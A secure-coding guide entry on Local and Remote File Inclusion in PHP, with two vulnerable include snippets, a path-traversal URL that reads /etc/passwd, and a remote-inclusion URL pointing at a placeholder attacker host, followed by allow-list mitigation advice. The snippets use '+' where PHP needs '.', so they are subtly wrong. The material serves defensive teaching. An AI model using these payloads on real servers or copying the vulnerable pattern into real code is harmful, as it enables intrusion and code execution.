File Inclusion vulnerabilities leverage the dynamic file include mechanisms in applications to smuggle in executable code from untrusted sources. Typically, this occurs when an application accepts user input and passes it into a file inclusion API, loading malicious code in the context of the vulnerable application.
Commonly, it’s called Local File Inclusion (LFI) when the vulnerability allows files to be loaded on the target server and Remote File Inclusion (RFI) when the attacker is able to load remote code in the application, a technique that increases the chances of malicious code being executed on the target.
The impact depends on how the included file is used by the application and may manifest as rudimentary Arbitrary File Read right through to Server-Side Request Forgery and even Remote Code Execution (RCE).
If the files are run in the same code context of the application, this might be used to RCE to gain a foothold in the hosting infrastructure, pivot to connected systems throughout the organization, execute unauthorized commands, and fully compromise the confidentiality, integrity, and availability of the application.
Unauthorized file inclusion is possible in many languages, with PHP being particularly vulnerable to RFI attacks because dynamically including files is a widely used pattern in PHP programming.
The following snippet suffers from LFI and can be used to dynamically load a local PHP file specified by the user-provided HTTP parameter
<?php include("templates/" + $_GET['template']); ?>
An attacker could visit the vulnerable PHP web page by passing malicious local paths into the
template parameter, e.g.,
/page.php?template=../../../../etc/passwd to disclose the system’s password file and
/page.php?template=../uploads/file to run an unexpected file as PHP script.
The following RFI snippet affords full control of the first part of the path, allowing an attacker to load remote URLs.
<?php include($_GET['template'] + ".php"); ?>
An attacker could host a malicious PHP file on a web server she/he controls and then visit
/page.php?template=http://www.attackerwebsite.com/malicious to execute it on the target.
If possible, developers should avoid building file path strings with user-provided input, especially when the resources are disclosed to the user or executed at run time.
If passing user-supplied input to a filesystem API is necessary, developers must ensure the following:
- Validate the user input by strictly accepting well-known, reputable candidates against an allow list.
- If validating against an allow list isn’t possible, validation should at least ensure that only permitted content is contained in the input.
Verify that the application protects against Local File Inclusion (LFI) or Remote File Inclusion (RFI) attacks.